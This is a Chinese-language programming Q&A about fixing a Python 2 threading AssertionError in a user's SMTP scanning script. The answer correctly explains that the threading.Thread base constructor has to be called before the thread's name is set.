Python:断言错误， "not called"

Question

我发现很难解决程序的以下错误，非常感谢您提供一些意见。

该程序的目标是执行 SMTP 扫描。用户输入目标IP地址、用户名、密码和分配给扫描进程的线程数。

Traceback (most recent call last):
 File "/home/user/Desktop/darkSMTP.py", line 133, in <module>
    thread = myThread(i, "Thread " + str(i), i);    
  File "/home/user/Desktop/darkSMTP.py", line 100, in __init__
    self.name = name
  File "/usr/lib/python2.6/threading.py", line 669, in name
    assert self.__initialized, "Thread.__init__() not called"
AssertionError: Thread.__init__() not called

代码如下:

myThread 类的构造函数必须是:

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self, name=name)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):
        print("[+] Starting " + self.name)
        connect(self.name, self.counter, eachThread, self.threadID)

请注意__init__之后的threading.Thread.__init__(self, name=name)。在尝试设置名称之前，您必须调用基类的构造函数。
